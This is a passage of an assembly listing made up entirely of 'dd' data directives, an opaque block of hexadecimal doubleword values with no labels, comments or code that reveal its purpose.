		dd 0CA70D840h, 9584F1C9h, 2D11D426h, 5399669Fh,	0C4BD20E1h
		dd 54FE4320h, 4089C016h, 44925AB7h, 20111820h, 0CE33E452h
		dd 20E629D4h, 5E2001E9h, 120D3346h, 81196C08h, 0C111694h
		dd 192AE303h, 5820C49Eh, 143E3205h, 0BE024F71h,	0DF8702D3h
		dd 10AEE900h, 8CA0951Ah, 641575EAh, 3B88659h, 0FCBD7440h
		dd 0E7102C8Dh, 3097008Bh, 797B267Eh, 9DCD3717h,	2BE16C40h
		dd 0ECB53604h, 0BBFF00DBh, 987E709Bh, 7F0424CEh, 0CC792DE6h
		dd 590C40AFh, 0D3227371h, 89338107h, 0EA40560Dh, 307A825Eh
		dd 0F52863C9h, 840085E5h, 373A08DEh, 305CF16h, 0B26DD8E8h
		dd 7FF8966Eh, 0D01611Fh, 7E0182FBh, 83CCDC06h, 691801F9h
		dd 0C07A84EBh, 15A8807Bh, 160F35F4h, 0E97D006Eh, 9C2EE077h
		dd 1A2A284Eh, 0ED0784A3h, 0CC1EC975h, 7CB24240h, 915700CDh
		dd 5EE3DDD7h, 8338F203h, 0E8004F16h, 6328469Ch,	0B27805h
		dd 8CB0D171h, 0D602AC7h, 0DD79CFF2h, 70387266h,	0B7B06C9h
		dd 0E825FEFCh, 5C33DD18h, 1E6E8920h, 9E57DCFFh,	0AE993D08h
		dd 8B3A98DAh, 50BBDBB8h, 3D680060h, 3BBDA280h, 1C3D71EDh
		dd 2FCF006Bh, 0DF8EE5F1h, 58F21D7Bh, 72601CCDh,	64D8F368h
		dd 0E0B5532Eh, 0CD287F07h, 34B49C7h, 0D072160Eh, 30DB6CCFh
		dd 6268AFEBh, 0E30F1A05h, 8915FF35h, 0B258C097h, 142EBF3Fh
		dd 7C30E3C0h, 0B4A1D3E9h, 1E1C2DB3h, 62C52303h,	0D8902ECCh
		dd 76D3F32h, 6E24DE7Dh,	0D75220FBh, 0C262ACDBh,	0C88B9920h
		dd 0A0169C05h, 808A68CCh, 8300CDD4h, 0D5A3BBEh,	60637B07h
		dd 7C6A70AEh, 6C71EB15h, 67551B01h, 0AD7A4BDAh,	0F37DA180h
		dd 2EDD8288h, 0E2CD8C28h, 14EAF73Ch, 6BC35A1h, 0F5F61A6Ch
		dd 83D51679h, 7CA0B46Fh, 68AD3530h, 0C0791A5Ah,	24D67B30h
		dd 0E351F8DDh, 0E419E1D4h, 0D2002BCCh, 18C38B07h, 0F2EAB4FFh
		dd 6DE884h, 83459CC4h, 26703210h, 4829E03h, 0F89AB958h
		dd 0BCC6E6DBh, 3B831CC0h, 0F6980C83h, 0A8101C03h, 0C51F563Dh
		dd 7BD809Eh, 507E0B3Ah,	48B68AA1h, 0EC0027B8h, 725B6DFEh
		dd 557FB63h, 7AF5142Dh,	77BC00DAh, 816F024h, 28608661h
		dd 60209A85h, 267A187Fh, 0C2F0E87Dh, 3738B276h,	149C3E54h
		dd 3FF8B028h, 1518C91Ch, 0D4951Ah, 8919B984h, 623F48Ch
		dd 6EDDE717h, 5901B0A5h, 845252Dh, 719835CDh, 0DDAC11E1h
		dd 0B8C01090h, 1617385Eh, 48997D6Dh, 0B0C90068h, 81083C04h
		dd 80514BE4h, 7E6E67E8h, 384446h, 0DF751F77h, 0D6976496h
		dd 50793700h, 2A2B1C83h, 0D9A7075Bh, 0A0B9DEB5h, 3BC4D708h
		dd 84DBBD12h, 483870A0h, 661EAC1Fh, 0AF050006h,	0DD8E1971h
		dd 0DC75E63Eh, 5CEF03E2h, 708FFC1Ah, 0BD371FF1h, 6C83C3F6h
		dd 0E6A8F769h, 94A41E9Dh, 5D5218C0h, 94CA412h, 0C5FC68D6h
		dd 3F8F2C88h, 61A5606h,	0EC02506Fh, 0FB88F442h,	1640765Ch
		dd 2C5614DDh, 1D48324h,	38D05863h, 0D913E051h, 0E1294600h
		dd 7664CCEBh, 1B4A07F1h, 9ACF7B17h, 0BE7701E0h,	53468230h
		dd 0D887F3B8h, 263B08h,	68EE011Bh, 2D3EADC6h, 620200C1h
		dd 0ED9A0E74h, 2BEB0103h, 79A9827Ch, 1A1FF83Ah,	3D97F900h
		dd 0FFFBFE83h, 3E1DE691h, 2181D3ECh, 0BB7A9963h, 6F8087B8h
		dd 72E00C7Ch, 3E88C116h, 760EC5B7h, 7BC2D764h, 0E4812897h
		dd 0D217C991h, 3C40A1EAh, 5B04B86Fh, 0DE288822h, 0C1408D5h
		dd 1004D308h, 0CF002685h, 1A8BEA1Eh, 0D242DB13h, 0DC609440h
		dd 9B08D85Eh, 129B12A8h, 233C2048h, 6C919D01h, 79D481A5h
		dd 28BA8AB7h, 24886881h, 70D2DA9Ch, 18C7B0C1h, 6BB4C681h
		dd 0BB83F881h, 8904BC22h, 807AFFF9h, 5C58ECC8h,	1303D3Ah
		dd 6224BE7Bh, 0D4203AD8h, 1A65E8AEh, 5082FFDCh,	24707C8Ah
		dd 14081289h, 0F61074ACh, 0E1720153h, 9AE2FC0Ah, 387DAC41h
		dd 40B4E830h, 5696E74h,	292002D0h, 7AE30F28h, 20125F8Dh
		dd 2443805Ah, 491918DBh, 3961F420h, 0A1C35BDDh,	46646820h
		dd 9002330Bh, 9441CCE0h, 0A507893h, 0DC0E251Ah,	3C980316h
		dd 3AF401FDh, 63DDEB7Ch, 0D8E8A45Ah, 83EC7100h,	951E1Fh
		dd 0BA0272B8h, 4059326Bh, 188C2B0Fh, 0A21A6233h, 44F880AAh
		dd 0D5FCDDh, 3B6BF36Fh,	0CD2075D3h, 22304709h, 0C7D00094h
		dd 1CC663h, 9828A95h, 816B9F44h, 0A60FDB15h, 0F4A87A78h
		dd 2E07677Ah, 9A8D8242h, 887E3BFh, 5A1AA062h, 0E878C0A3h
		dd 0C7FBBB75h, 0C2769E24h, 1ECB507h, 0F8036CA0h, 79640BEAh
		dd 9460781Ah, 455917E1h, 0CD300B34h, 13F05A4Dh,	45C565FDh
		dd 0C0D48898h, 597A803Ah, 53202B60h, 5C9A0183h,	431DB05Ch
		dd 78B10002h, 41C060Eh,	170B7D04h, 3CD075A5h, 1447EE07h
		dd 0F51B7C2Fh, 40412725h, 10A8321Dh, 8300286Bh,	732BA6Dh
		dd 0C57F7BDEh, 0E075F0EDh, 1A06C4B1h, 7A58675Fh, 0E828599Eh
		dd 0F87B6480h, 7206E79Ah, 9FF57A8Ah, 10C84341h,	0D002A24Ah
		dd 3EAFE77Dh, 5DEFDD10h, 0D44878A8h, 1D074501h,	308969D5h
		dd 0DB17F368h, 840D9CFh, 997A6F50h, 2C4E0020h, 0FA0BEABDh
		dd 417E45AFh, 0B60C958h, 585717F7h, 6DEA12E8h, 82B7090Dh
		dd 451D6C50h, 8BEC87C1h, 49ECAA00h, 0C40423DBh,	930F59A9h
		dd 7820E854h, 0D66800CBh, 7BF0FF6Ch, 48C902FDh,	8594857Fh
		dd 7A72A881h, 0EC6F89F0h, 6AD13966h, 78605B03h,	9898B782h
		dd 530CA66Bh, 606E7B0Ah, 0E3B40909h, 2000C42Dh,	9667CA19h
		dd 5E42AF00h, 6BB8C392h, 940430DBh, 0C6D38B80h,	6632B60Eh
		dd 0D6A9DCh, 8F2D72C4h,	1A741365h, 6F0CA0CCh, 7F5ED000h
		dd 3ADC7AD3h, 0E6D3845h, 4E99B1Fh, 93098387h, 0C0597EB9h
		dd 10548B08h, 0C28488D8h, 1DD31A18h, 77D7A868h,	0F76073F0h
		dd 6A28FE11h, 5480087h,	83B1CFE2h, 880374D4h, 827B1A03h
		dd 6A581306h, 46540478h, 580C808Bh, 2405CEF9h, 0ACADBAEh
		dd 0EA13A484h, 40178400h, 1AC7261Ch, 30A6067Bh,	4817742h
		dd 34A94EDDh, 0AE3AB484h, 9C991DF4h, 24804EFCh,	92F9A6DBh
		dd 50773C14h, 0B4D5B17h, 60A17DD4h, 9212DA99h, 0E48626C1h
		dd 0B7843CE1h, 0AAC93C00h, 5A7B0903h, 4780A964h, 700C6CCAh
		dd 4550028Bh, 0BCB7A1Bh, 0C72FE9E8h, 2C035EE8h,	78EAF9h
		dd 23F4889h, 0B01F80Eh,	0F6606FEDh, 0AC121C3h, 140AFE0h
		dd 0EE53B80Dh, 30310C1Dh, 688A6540h, 0F2DB6720h, 134492AEh
		dd 9B89BDh, 0BCC9B78Eh,	1DECF5A0h, 42091B01h, 71D303C4h
		dd 0E079A420h, 0B121267h, 4FB800EFh, 1D82324Ah,	283151Fh
		dd 8498DB1Eh, 78B258h, 6B95D5D1h, 0C73512F4h, 12881659h
		dd 0E421CA74h, 80400FACh, 900DCD1Ah, 0B8850E64h, 89497B08h
		dd 469EE882h, 0A34C106Eh, 0C89D2C38h, 0BAB1B400h, 92181A6Dh
		dd 9E12424h, 1860A5CCh,	152ADDD4h, 0AE02F499h, 2EDB915Bh
		dd 2F14410Ch, 1483EC40h, 7616E84Eh, 383CE0C2h, 3809ED3h
		dd 0E175EA20h, 5506D252h, 936919FBh, 0CFD60068h, 338697ACh
		dd 530EF583h, 0C0EAEF8Fh, 0C1CEC507h, 251B76E3h, 0FCA845EDh
		dd 7B638780h, 0A8BA2210h, 81660840h, 6524D61Fh,	0F8140F13h
		dd 636E80A0h, 0B2B94AD8h
		dd 18656792h, 2ADCB2CDh, 0F4D4E840h, 7858A182h,	0E07DFE89h
		dd 0B4D26414h, 6F58DA81h, 0FC02974h, 78297A89h,	4BDB6C80h
		dd 826CC0E0h, 99F0C0AEh, 88075094h, 0F583E302h,	641001A8h
		dd 1AC7312Dh, 0B26BF003h, 2FF07D1Fh, 121DC340h,	0AA95DA17h
		dd 82386090h, 24DCA44Bh, 9548C9F5h, 5A82E86Ch, 4EAF2D6h
		dd 6DB00CC1h, 158300F0h, 0C0354043h, 71CC00D2h,	423741DBh
		dd 0F9386572h, 0DC82010Dh, 0E50649F4h, 2A2FFh, 5A324D7Fh
		dd 0DD16750Bh, 83E8E0E4h, 93AC966Eh, 0E2380036h, 0B559161Ch
		dd 0A12448B8h, 0C30F143Ch, 950C9E19h, 0A7938F0h, 0C974643Ah
		dd 44B242A8h, 90B608Bh,	582B8C07h, 0E0FACC00h, 7BCFFCBEh
		dd 2511D4Fh, 1BDC49E2h,	6668B4D0h, 690020A0h, 0B7CC3ACFh
		dd 0D81A184Ah, 0A24E1850h, 8B194700h, 0C217E9E5h, 4E808291h
		dd 0AF331A71h, 0B49410DEh, 97450EA8h, 1D3A8029h, 0E76F17C2h
		dd 75E72083h, 7CB014BFh, 4C078035h, 108803E5h, 0C7F7C9C0h
		dd 2C455857h, 0ECD10700h, 61B04EDh, 0F528DDE8h,	0A00080D4h
		dd 746750E2h, 2568B080h, 9009E5DBh, 0A4532C24h,	0CF007E68h
		dd 62687951h, 25DDFD50h, 4041987Bh, 82CC38B1h, 8977E718h
		dd 28A380A8h, 60897A85h, 0DB51289Eh, 60C199ABh,	81163CE0h
		dd 0C08F030h, 6AF417E3h, 1F39EAF9h, 46BA81F2h, 12B37A7Ch
		dd 920060BAh, 0C3604A9Eh, 75000614h, 158929BEh,	9DBA1A3Dh
		dd 6DDFB400h, 0C562C2DBh, 64228568h, 0E0B20C0h,	0D4384626h
		dd 14022610h, 0D8D3DB16h, 0F73E0048h, 27C95A88h, 0CC2908C8h
		dd 58A174CBh, 5CE8ACCDh, 1F044825h, 87BC9416h, 1C5D1A6Eh
		dd 88034A48h, 75366C85h, 14DB0Dh, 3A511C40h, 59042983h
		dd 71BCA600h, 70B23DEAh, 6ADB00B9h, 9111F47Ah, 50FDD102h
		dd 24D55398h, 83204725h, 1C5B3508h, 4595C02h, 81B67B57h
		dd 571C8378h, 0C0ED04C8h, 6FB9C74h, 76324212h, 1E087810h
		dd 6C2C9A1Ah, 0A06CBB80h, 908140C8h, 88CCB3D8h,	0ED1343E0h
		dd 307BD442h, 4C14506Ah, 0B08800BDh, 24E67D01h,	30685E6Eh
		dd 0A7810674h, 501B57DDh, 8B1A6608h, 13B81F45h,	8170E147h
		dd 5C162730h, 803329EBh, 1F81D407h, 43660024h, 1A3907D5h
		dd 86406126h, 0DC6208DEh, 37CE7B12h, 0E7147148h, 50DC50F5h
		dd 6CA6E681h, 0F940B210h, 0D1672A78h, 4A252078h, 40C19B4Eh
		dd 0EC005E81h, 3A4D7DDDh, 1180128h, 0FAB8E275h,	7AFBDF0h
		dd 0C9FC16BFh, 0B24761DCh, 110BDF7h, 1A4DC1CBh,	58852892h
		dd 4481BA24h, 32585D8h,	0C2EE1B7Ch, 59C7E75h, 806E46DBh
		dd 0DC3A9168h, 58D26F09h, 32D8607Eh, 8CAC9EDAh,	79885E24h
		dd 0DC048300h, 846F55BAh, 5D6C096Dh, 642CC431h,	0FF09C570h
		dd 5430FD19h, 49E8A2B4h, 7D3FD476h, 0CCD58480h,	89E6DDA9h
		dd 7000C898h, 212083E7h, 78CBDE60h, 8272041Bh, 88B5527Ah
		dd 974084F0h, 5EE50269h, 0DE82743Fh, 0F4DBC890h, 2E4B009Ah
		dd 5AD334D1h, 0BE811041h, 7C378841h, 53DE886Dh,	7A0449EAh
		dd 5AECC000h, 28CB9052h, 6480837Bh, 6A51906Dh, 0D3D907C7h
		dd 0F0F5ADCDh, 7AF87BECh, 4069B937h, 8CC71675h,	667C4000h
		dd 3CDB18E1h, 41B190C4h, 74E5EB78h, 0FB388278h,	2A30278Fh
		dd 3A0F8494h, 836CE1C7h, 0E7C04E70h, 7DD10E33h,	19F80EEh
		dd 50EDFF7Bh, 94566172h, 1878F928h, 0CCC9DD7Ch,	5ED5008Ch
		dd 42B24340h, 47010EC8h, 17F64532h, 0CC246113h,	0A77D39DCh
		dd 18836F00h, 0A24B3611h, 7665FB18h, 5064DD48h,	4E7A8477h
		dd 0BD135Fh, 1884F7A4h,	0ED04FAA1h, 0F6E38388h,	54E530C0h
		dd 4F04B029h, 73180032h, 0BA2B746Ah, 6F7BC713h,	0CB65F8C0h
		dd 1F137CB7h, 246B1A73h, 8424918h, 3C44EC1Ah, 7EBED730h
		dd 6CF8AC6h, 201A30C0h,	0B5003819h, 83FE0E8Eh, 6241006h
		dd 0ED3BDC58h, 8C08108h, 0D27B3105h, 7580C0B4h,	67C89BE3h
		dd 827A5A03h, 907F37B5h, 21F838Ah, 65401170h, 58E0BF02h
		dd 6A16227Ch, 8010D332h, 5A041EFEh, 7A6E173Fh, 62389022h
		dd 9318CC48h, 0C1DB05E0h, 87D402B0h, 6EC00243h,	8400BD58h
		dd 0D765AB19h, 1ED848D5h, 0F0111A0Ah, 66174C40h, 35DBBA0Eh
		dd 7400DCC3h, 7B6E6913h, 0DA496Bh, 25761803h, 6DD9C445h
		dd 0DDE085D8h, 0A0071D9Fh, 8323D71Fh, 0F870A08Ch, 0F9CE1F22h
		dd 886F028Ah, 0C84827C1h, 0B101D831h, 623A7381h, 5832C374h
		dd 0F97AB00Bh, 54578A5h, 16FE35D0h, 0C7C0206Ch,	3709F9E5h
		dd 0A42217DBh, 0DD214580h, 0FC096F8Bh, 12A4D207h, 4B42DC1Ah
		dd 0E090B844h, 0F8A0DD59h, 20903DB5h, 9D4A21E4h, 0CE3E874h
		dd 6D50025Eh, 0B450571Ah, 17097C94h, 0DF6C4043h, 0BC544CF3h
		dd 12040724h, 92C40471h, 0E411BFh, 75EE0203h, 92A42C3h
		dd 82894172h, 7353AC44h, 0CB1721F4h, 13B1404h, 0B6DBD99Ch
		dd 0E59901C6h, 1E19996Fh, 1EA9A28h, 515B7CE1h, 0C0B290h
		dd 9424C553h, 0C23CA810h, 0B2DEE220h, 7068E85h,	0C04C08FAh
		dd 24F7DC72h, 0E4CBA0CBh, 0E480A058h, 61D8B453h, 56EA865Ch
		dd 0DB18C098h, 5B11F13Eh, 42249E7Eh, 86C01A2Eh,	99EA3693h
		dd 0F5F40901h, 1D48890Ch, 36910850h, 0F2781223h, 604CA5F6h
		dd 34C677Ch, 8AC38548h,	31DBB0B0h, 0AC187EB5h, 4CD072C7h
		dd 0ADC20D0h, 0B7828878h, 807740B8h, 6901A6FBh,	0C36FF56Dh
		dd 38701C0Dh, 57950224h, 16D117C8h, 83A3F0A4h, 0BBD3528h
		dd 64A5E8F0h, 43B81633h, 0B2BCDB70h, 6F398000h,	0ED8AE77Dh
		dd 2EA803F6h, 0E809DC4Bh, 7D998865h, 0C1A90487h, 4C72E728h
		dd 0D07EBE1Ah, 498884AEh, 7A5BB020h, 0DA879406h, 68790048h
		dd 0C6E63B82h, 0EA00D783h, 8938D62Eh, 740915h, 63FFA3E1h
		dd 0A79D1A08h, 500AC8CDh, 0C1D32422h, 12711758h, 0F8D8D247h
		dd 22840E0Dh, 0C169DB0Ah, 388BC2Ah, 892D8848h, 31725AE1h
		dd 0E2D02080h, 0ED23041Eh, 6CFF640h, 781C84E3h,	0D9BE009Ch
		dd 0E2B6B888h, 0F3B86F75h, 5320E490h, 13F4E44Dh, 0C082A77Ah
		dd 70A0DB88h, 532958C0h, 961E68DCh, 24D603C0h, 0F881FECh
		dd 7C01746Dh, 4D3463FBh, 586053D8h, 32501692h, 0C0F0169Dh
		dd 8BF3411Ch, 0DB3ED004h, 94D1DC05h, 7CC4F5E6h,	4825597Ah
		dd 0F2F95A30h, 2461E51Bh, 0EB2C2150h, 9DD1F520h, 42F46840h
		dd 0E7CA741Eh, 339EDF00h, 1C842B62h, 836FDA02h,	76AE4050h
		dd 0ECC036F2h, 991EFFE1h, 4E1B7BEEh, 6FCD860h, 745800EDh
		dd 0CA12E961h, 0AC586217h, 50388954h, 5E0A4464h, 0DC403A0Bh
		dd 4BCC10Eh, 5C6180EFh,	0BCEE48F6h, 121A74C1h, 4D90765Fh
		dd 3802D678h, 71AFE97Dh, 9C7C2818h, 16274480h, 0C00E1512h
		dd 11EB4619h, 47CF0128h, 534CBD94h, 76E05207h, 6FA0610Bh
		dd 0B40F283Ch, 0B2730E9h, 0A6471F9h, 9470A6F1h,	0C90750A8h
		dd 7E9BE013h, 546A7DC0h, 78FC90AEh, 84550F2h, 98304A7Fh
		dd 0B49879E8h, 5F8C33E7h, 82838842h, 0BC1488B8h, 404E5C2Ch
		dd 34E065F0h, 535816h, 0D0584713h, 19548BD8h, 3708B496h
		dd 5C002F14h, 0ECDBEA71h, 0B4924Dh, 8A9AF4FFh, 9483DDEBh
		dd 211B00A4h, 7FECF5EAh, 8E8C4A00h, 0E3B53C26h,	0CF7C182Eh
		dd 0D3655055h, 0BD834500h, 0DC4324F5h, 408F609Ch, 0F03D5C79h
		dd 0B50080FAh, 3CF984B6h, 2B2ED1Ah, 0E1721E78h,	84847E07h
		dd 5EB10085h, 94A7DBA5h, 9C8C0BB0h, 48AB1027h, 0DBE52401h
		dd 850229B4h, 0B20974D8h
		dd 814C0275h, 21BFDD3Bh, 330EC34h, 0E26BC52Bh, 0DFE3447Bh
		dd 997338A0h, 0B48ED226h, 204A6189h, 0F5AEDB14h, 6C525DA0h
		dd 12202C00h, 0EAF87BB9h, 0DAC27500h, 77221AF5h, 0FDDF0042h
		dd 90D67DB1h, 0DD24037Bh, 5783E4CAh, 0B1E3EFE6h, 52BB21Ah
		dd 0C0E47270h, 153B2690h, 54CC976h, 0C5BD0F5Eh,	0F0072DDBh
		dd 1C2ED841h, 0AFE50B00h, 37435801h, 7BDDC72Fh,	23AC85E2h
		dd 8783B887h, 83102494h, 3980042Fh, 51A0BD7Bh, 0FBA42098h
		dd 0A6902200h, 0BA71ED9Ah, 1858B256h, 0F941977Bh, 0E1001FE9h
		dd 44B264A1h, 3E276314h, 0FC62B5C3h, 22DF77D8h,	0C424B658h
		dd 1564B058h, 0A429D699h, 0C0857212h, 0BB17C47Ch, 82503A5Ch
		dd 0C022ECA8h, 24EA1F02h, 80648EDDh, 5A756974h,	7A129123h
		dd 70909E2Ah, 0A0B5167Dh, 805F15A0h, 190072D1h,	71EA036Dh
		dd 78D79A80h, 4F49983h,	880ADF86h, 9A178BF0h, 0BC80282Eh
		dd 0E643AD6h, 50E16C5Bh, 0DDCCC196h, 243CABh, 49076677h
		dd 0CF8284B5h, 8E7EC2EAh, 6BE11383h, 0C043DAE1h, 703E7607h
		dd 6007AE8h, 28F11FAh, 251A6FDCh, 2842A541h, 34926459h
		dd 8C50E013h, 0C07496A0h, 0F7BD401h, 0F022CCD6h, 241A7A04h
		dd 0B49E0A67h, 0C4484D8Bh, 0EA7D25DCh, 0B202B4E6h, 0B12BA57Ah
		dd 9B6440DCh, 23CF008Ch, 0D2674432h, 0F403D9D3h, 7E7A7734h
		dd 0FCF0E58Fh, 0B4831410h, 0DC5C808h, 70F0804Eh, 0CB26DBEDh
		dd 7E8D10E9h, 0C840818Dh, 48F92D69h, 441AA8D2h,	88F850A0h
		dd 68B1CF00h, 5362168Ah, 0F61F2695h, 207F89A0h,	9A81F410h
		dd 6831D24Ah, 0D9073F72h, 9E252C58h, 54D868F6h,	0D0343020h
		dd 5EEB7208h, 979B8224h, 2E7B0405h, 0DB643C90h,	14189C38h
		dd 7012BCACh, 1D54A3B2h, 0B12D2261h, 0AC33844Ch, 28A97D32h
		dd 0FB655641h, 8369D818h, 17973118h, 126A0501h,	7B20E0C8h
		dd 6F304654h, 38003B5Bh, 86DC0B32h, 4CB4B6EEh, 4150AF5Eh
		dd 164C7718h, 3D72DA4h,	0D0CAB0D8h, 78352EAh, 81F7C81Ch
		dd 7E0860BEh, 4216487Ch, 58131F03h, 60B1C4A0h, 1A77B928h
		dd 0D1C0C0F6h, 102D23B4h, 1009859h, 754FF911h, 0F84DB1CEh
		dd 0DB12483Eh, 34D1BEB0h, 0E8E98C0Ah, 58316D31h, 767F0802h
		dd 80541228h, 76C56B44h, 8955D93Ah, 800A6102h, 1FC26050h
		dd 75C00469h, 0E0F1290Dh, 0C9C00659h, 0E9FF9A3Eh, 6607123Bh
		dd 0F918C2E2h, 30CD0460h, 141CC80h, 792772F5h, 8071AB7Ah
		dd 0E120B3D8h, 2D031635h, 0F004E929h, 0E2B098EDh, 0A8744524h
		dd 0DBEC81C9h, 1080CE0Ah, 0D95AD382h, 8D0B33A3h, 61261A6Ch
		dd 442186ECh, 3B40F5h, 7B69EB9Ch, 0B948830Bh, 0D65C8208h
		dd 0F2C9004h, 7B3280F9h, 9E5ADC13h, 45BED490h, 4CA400F8h
		dd 58962AB7h, 870BC1F4h, 71EC02h, 7677E950h, 0CF691919h
		dd 60DAB12Fh, 180083C7h, 91D1511Dh, 7C306B1Ah, 0C0EE4B87h
		dd 0EA8DF37Ch, 59057B1Eh, 4A78A527h, 0F700F4E2h, 281E8088h
		dd 69093685h, 0B9C2762Ch, 0C0882F34h, 7800DD96h, 0A172BF82h
		dd 2087489Eh, 7C1CF310h, 386149D6h, 8933ADBh, 650CE105h
		dd 0D9574084h, 0E04EDC79h, 0E7CC8CC0h, 981602DFh, 6F6D462Fh
		dd 1A16C864h, 0CC9290Ah, 6E1C3C2Ch, 30280199h, 0F5B5E6B7h
		dd 40C8202Dh, 4E6A3200h, 7441B276h, 0F5F10F6Eh,	9AE0177Dh
		dd 42326FDAh, 2C047E4Bh, 7D009248h, 20D17C1h, 4903C4BAh
		dd 0A07A8928h, 0CA200095h, 0F388B904h, 874FAADBh, 401FB48Ch
		dd 77003196h, 1C14846Ch, 0CFE762DDh, 215383D8h,	8CCD318h
		dd 894B32DBh, 0A0547F38h, 0D6F37C86h, 34585970h, 89305850h
		dd 814CF11Ah, 734B3D48h, 0BCE82F62h, 0C4D50087h, 7AD28C81h
		dd 4F3A3AE3h, 59398265h, 5B35187Dh, 0D481896Ch,	0FB296802h
		dd 0E9E84C80h, 30B71C1h, 0A7B17B01h, 0C6068D0h,	910743FCh
		dd 0C99CAE20h, 82744C2h, 0FBCDAF20h, 0C4072EB8h, 0E134F51Bh
		dd 71C920FCh, 0C8422CECh, 0DB9A7C07h, 0D018EB83h, 0AC200803h
		dd 381A19C7h, 7C361810h, 4E12548h, 94C0CEE8h, 8089499Ah
		dd 1E60BB7Ch, 0D7B6760h, 45749C83h, 7A00C289h, 0DDEC3CC0h
		dd 440C3EF5h, 240521CFh, 0BB07B2Fh, 7701DB20h, 6DE53A6Ch
		dd 0D0A41368h, 40A9BCF0h, 62761ACBh, 0EDC4895h,	58101391h
		dd 7351E0Dh, 82A70A16h,	60631E1Bh, 71704A61h, 7872EB1Ah
		dd 6C4C5C4Ch, 740B3889h, 7B1868EFh, 0A0C775C1h,	207A7F10h
		dd 511C6943h, 7C171689h, 80D2DC0Bh, 801CC490h, 5D37008Eh
		dd 510836Ch, 0E776C812h, 0C118BC7Bh, 1E184E82h,	0F1A00973h
		dd 6CF8B27Bh, 89C66800h, 0DA27E99Ch, 41DC7478h,	74653FBFh
		dd 0AF813480h, 22DB1478h, 8517A87Eh, 1A0C0402h,	540412CAh
		dd 77012A80h, 3F822EDCh, 8216344Bh, 2959D85Ch, 0FB7B2C00h
		dd 0EF011BFEh, 0FC0D5019h, 8960882h, 4BA71F46h,	247EF5EAh
		dd 75DB5102h, 0FA40EBDFh, 0F182A83h, 4732E91Ah,	83308AF4h
		dd 20134419h, 0C44F3D2h, 40BA3DABh, 0B819E9B4h,	48983857h
		dd 1A50D49Eh, 0B82D5D67h, 82284603h, 648A6DCFh,	0DFC6044h
		dd 771054BEh, 7012842Dh, 2049F079h, 172EC5A0h, 0A0746461h
		dd 0DE890084h, 7965DA8Ah, 82153A6Dh, 0D2701C03h, 53A8D7C5h
		dd 2B00DBB5h, 72B9DD89h, 3BC4F962h, 0C3000217h,	0DBBF3B74h
		dd 80B2FB32h, 0CF2734B0h, 0FE348245h, 8244CEDh,	32B07A7Eh
		dd 0A501FC20h, 1A64CA20h, 0C8362B36h, 50EC49h, 9DB1365h
		dd 9035C8h, 0D9CFD59Dh,	8A01FBB7h, 37480D83h, 0DFD8EAE2h
		dd 0E13216A0h, 564134Ah, 8775F177h, 0EB70E37Ch,	2FF5117Ch
		dd 94614429h, 28253961h, 4F6CC45h, 0DB09005Ch, 90617C0Eh
		dd 0D3A473D1h, 909A80E4h, 7A660E34h, 0FB3EBF4Ch, 524562Eh
		dd 0F929FDDh, 7B4CDB94h, 60D9AD50h, 9BCC26B8h, 74DCECEEh
		dd 0F43205FDh, 0AD13B9DBh, 0C00D280h, 27624E70h, 9C11591Ah
		dd 0B3DDD10Fh, 3A6EB818h, 177C691Ch, 5FC0355h, 0A0FFDDE8h
		dd 0B4F1D453h, 1D8FCC69h, 0CB7A85A1h, 74036BB7h, 3E8EB2DBh
		dd 54105580h, 0C772016Fh, 109B7C2Fh, 12151084h,	0D28F8785h
		dd 0A4504C1Ah, 58A3B52Eh, 82071110h, 808429B2h,	7D462CAh
		dd 8D5441Ch, 48DDD783h,	74980488h, 95F8633Ah, 5C38B36Ch
		dd 0C5BC90A8h, 6C8DBE75h, 0E0F3B061h, 8DA44h, 0C3FD6072h
		dd 0DD74FF19h, 9267009h, 3EC5235h, 0F1C6E45h, 8F9CE91h
		dd 0E0203FE2h, 7E3FBF8h, 0AF073A78h, 31008EDFh,	8E8A4071h
		dd 0DBFE0105h, 0CC28BF24h, 1F605FDDh, 7B18039Ch, 0A027FE67h
		dd 6E8842F5h, 0C1364EA0h, 0B83CD720h, 75FE00B9h, 0EE0D0182h
		dd 84F54B1Fh, 0E4D0849Ch, 0E898FFA8h, 0AD17B009h, 9B4084DBh
		dd 7791F887h, 2C647BF9h, 4868E747h, 8807CF80h, 831F2D30h
		dd 0BC24026Dh, 0D4806C9h, 505B3039h, 0CADB5CC0h, 270850BBh
		dd 8B8242Fh, 62004C0Ch,	81D7CECCh, 0D5172D91h, 1AE11C02h
		dd 988988ABh, 0A8545482h, 744138DEh, 0C42730CAh, 976CA170h
		dd 0B5308C3Ch, 0F3643952h, 673AC907h, 7A21066Eh, 608375BDh
		dd 24D67D6Ch, 0DC1CD0E4h, 68C0439Eh, 507A3A72h,	0DE024DBh
		dd 0D831EB4h, 20384BA2h, 6F4E1743h, 0C81AE4C1h,	4F7F7030h
		dd 754C8C50h, 77385117h, 38E0870Ch, 40EB581Ch, 0B681E109h
		dd 288214B9h, 35BFC588h, 6C5D34F7h, 1A88024Fh, 0EC685BFCh
		dd 4CB972EBh, 4950991Eh, 0A1FB7C16h, 2E7442C4h,	8084B024h
		dd 12DD14B0h, 980379F4h
		dd 0CE18410h, 0B1334010h, 2116109Eh, 0DB1644B3h, 13C085D2h
		dd 0A14C9470h, 8B0F544h, 1A38B803h, 0C930C777h,	99876C5Ch
		dd 0E0491A68h, 3EB5D724h, 0D24CDF20h, 32617E74h, 0B9995C34h
		dd 83DC1012h, 688F0715h, 7B7BD3CEh, 5C6F50C0h, 401EA224h
		dd 2C0D267h, 0B224D4h, 543EB065h, 80D3410h, 3A0B9898h
		dd 854546CDh, 7CD6E5F9h, 0DC38AA90h, 0EBFB505Ch, 4F7F2C3Ch
		dd 0ED990845h, 8E7CA0D0h, 7288C7B0h, 0DB48E10Eh, 67BC40FCh
		dd 84B06C84h, 33A1BE1Dh, 14A5186Ch, 6B8905DCh, 0C1207AFFh
		dd 71C9804h, 0F36CCB60h, 1A030019h, 0B9E3B5E7h,	65F5DDD5h
		dd 0C66C30A0h, 0E0603300h, 71FCD643h, 94F6507Ch, 0B8AC0367h
		dd 68927AAEh, 0DB6B500Ah, 8B96F051h, 23F08891h,	7D50203Fh
		dd 914ADDEDh, 0B241A8C0h, 0FA320F74h, 0E5CB9ADFh, 0AE0B1480h
		dd 0DF64EEEh, 0AA71092Ch, 8E6A2900h, 78542DE8h,	0CE2100DAh
		dd 7A6586F7h, 4C928B69h, 8C01DF00h, 9A82FE63h, 90DB15DCh
		dd 5E09DC21h, 4100CC65h, 6C1C0A4Fh, 0E927F807h,	0B3B2233Ch
		dd 406849F7h, 9EE67DD4h, 0B720817Ch, 84D017DBh,	5B733920h
